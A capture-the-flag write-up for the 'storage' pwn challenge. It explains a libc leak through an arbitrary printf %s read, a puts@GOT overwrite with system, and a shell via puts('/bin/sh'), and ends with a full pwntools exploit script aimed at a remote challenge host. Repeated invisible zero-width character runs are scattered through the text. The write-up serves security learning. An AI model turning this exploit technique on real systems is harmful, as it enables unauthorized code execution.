← Back to Writeups
CUSTOMMediumpwn

pwn6www / storage

XESXOR9/2/20265 min read
#pwn#custom#medium#arbitrary_read_via_printf_s#controlled_rdi_call#got_leak#got_overwrite_puts_to_system#libc_base_calculation#write_what_where#linux

pwn6www / storage

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: arbitrary_read_via_printf_s, controlled_rdi_call, got_leak, got_overwrite_puts_to_system, libc_base_calculation, write_what_where

Summary

Task: NON-PIE x86-64 binary with a menu exposing an arbitrary read (printf %s at an attacker address) and an arbitrary 8-byte write-what-where, plus a controlled puts(buf) call. Solution: leak libc from an already-resolved GOT entry, overwrite puts@GOT with system, then trigger puts("/bin/sh") = system("/bin/sh") for a shell. Key pitfall: leaking an UNRESOLVED GOT slot (lazy binding) gives a wrong base.

pwn6www / storage — pwn_spbctf

Description

storage (category www, tier pwn6 "Добор", "bin storage"). Author Lex (@b1n4r9). "Store your data right at memory of your binary."

Files: storage.elf + libc-2.31.so. Remote: nc 109.233.56.90 11704 (pwn.spbctf.ru). The challenge name "www" is the classic write-what-where hint: the binary hands you a literal arbitrary read and an arbitrary 8-byte write to anywhere in the process address space.

Goal: turn read/write-anywhere into a shell and read /flag.txt. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

storage.elf:

  • x86-64, NON-PIE (loaded at 0x400000), NX enabled, Partial RELRO (GOT is writable, lazy binding), no stack canary, not stripped.
  • libc-2.31.so is the Debian glibc 2.31 build (md5 74f2d3062180572fc8bcd964b587eeae): system = 0x48f20, /bin/sh = 0x1b75aa.

main @ 0x4010b0 is a scanf("%d") menu loop with three options:

  • [1] Read data — reads an address as a decimal string (strtol), then printf("Your data: %s", addr). This is an arbitrary read: it prints the string at any address until a NUL byte.
  • [2] Write data — write_prim @ 0x401450: reads an 8-byte raw value into [rsp+8], reads an address as a decimal string (strtol), then *(qword*)addr = value. This is an arbitrary 8-byte write-what-where. The address comes from strtol, which limits it to 32-bit-signed values — but that range fully covers the non-PIE GOT at 0x4xxxxx.
  • [3] Test system — prints three banners (each preceded by a 1-second sleep), then scanf("%32s", buf); puts(buf); followed by a success message. The crucial part: puts(buf) is a call with an attacker-controlled first argument (rdi). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The exploit shape writes itself:

  1. Leak libc with the arbitrary read on a resolved GOT entry.
  2. Overwrite puts@GOT with system using the write-what-where.
  3. Trigger option [3]: puts(buf) is now system(buf), so sending buf = "/bin/sh" runs system("/bin/sh").

Why leaking a GOT entry with %s works

printf("%s", got_entry) prints the bytes of the 6-byte libc pointer stored at that GOT slot. A userspace libc pointer is 0x00007fxx_xxxxxxxx, so byte 7 is 0x00 — %s stops there and you get exactly the 6 meaningful low bytes of the pointer. Pad to 8 bytes with \x00 and u64 it to recover the real libc address, then subtract the symbol offset to get the libc base. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

⚠️ Critical pitfall: do NOT leak an UNRESOLVED GOT slot

This cost most of the solve time, so it gets its own section.

Under Partial RELRO + lazy binding, a GOT slot is only filled with the real libc address after the corresponding function has been called at least once. Before that, the slot still points at the PLT resolver stub (_dl_runtime_resolve trampoline), i.e. back into the binary's own 0x4xxxxx region — not into libc.

read is never called before the leak in this program, so read@GOT was unresolved. Leaking it produced a pointer that was off by 0xe9100 from the correct value. The wrong libc base made system resolve to garbage, and the process instantly SIGSEGV'd inside the call. That crash looked exactly like a movaps stack-alignment fault — so several attempts were burned chasing one_gadget swaps and stack-alignment "fixes" that were never the real problem. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The tell / the fix: cross-check multiple GOT leaks. Leaking 5 entries showed 4 of them agreeing on a consistent page-aligned base while read@GOT disagreed — that single odd-one-out is the unresolved-slot bug. Always leak a GOT entry whose function has already executed at runtime (puts, printf, strtol, setvbuf all run during startup/menu handling and are guaranteed resolved). A trivial sanity guard is assert libc.address & 0xfff == 0 — a non-page-aligned "base" means a bad leak. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

  1. Leak puts@GOT (puts already ran at startup ⇒ resolved). Recover libc base = leaked_puts - libc.sym['puts'], then system = base + 0x48f20.
  2. Write system over puts@GOT via option [2] (address as decimal string, value as 8 raw p64 bytes).
  3. Trigger option [3]. The three banner puts("[*] ...") calls now become system("[*] ...") — harmless ("command not found"). Then puts(buf) becomes system(buf); send buf = "/bin/sh" to drop a shell and cat /flag.txt. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

e = ELF('storage.elf', checksec=False)
libc = ELF('libc-2.31.so', checksec=False)

HOST, PORT = '109.233.56.90', 11704

puts_got = e.got['puts']   # already-resolved slot — safe to leak

def leak(io, addr):
    io.recvuntil(b'> ')
    io.sendline(b'1')
    io.recvuntil(b'Enter address(decimal): ')
    io.sendline(str(addr).encode())
    io.recvuntil(b'Your data: ')
    return io.recvline().rstrip(b'\n')

def write_qword(io, addr, value):
    io.recvuntil(b'> ')
    io.sendline(b'2')
    io.send(p64(value))                 # 8-byte raw value into [rsp+8]
    io.recvuntil(b'Enter address(decimal): ')
    io.sendline(str(addr).encode())     # address as a DECIMAL string (strtol)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def exploit():
    io = remote(HOST, PORT)
    io.recvuntil(b'Use this trash-box')

    # LEAK: %s on puts@GOT prints the 6 low bytes of the libc pointer (byte 7 = NUL).
    # NOTE: read@GOT is UNRESOLVED (lazy binding) -> wrong base. Use puts instead.
    raw = leak(io, puts_got)
    puts_addr = u64(raw.ljust(8, b'\x00'))
    libc.address = puts_addr - libc.symbols['puts']
    system = libc.symbols['system']
    log.success('puts@libc  = %#x' % puts_addr)
    log.success('libc base  = %#x' % libc.address)
    log.success('system     = %#x' % system)
    assert libc.address & 0xfff == 0, 'libc base not page-aligned -> bad leak!'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # WRITE-WHAT-WHERE: overwrite puts@GOT with system.
    write_qword(io, puts_got, system)
    log.info('puts@GOT -> system')

    # TRIGGER: option [3]. Banners become system("[*]...") (harmless);
    # then puts(buf) == system(buf). Send /bin/sh.
    io.recvuntil(b'> ')
    io.sendline(b'3')
    sleep(5)                            # let the 3 banner sleeps pass
    io.sendline(b'/bin/sh')
    sleep(2)
    io.sendline(b'cat /flag.txt; id; ls -la')
    io.interactive()

if __name__ == '__main__':
    exploit()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍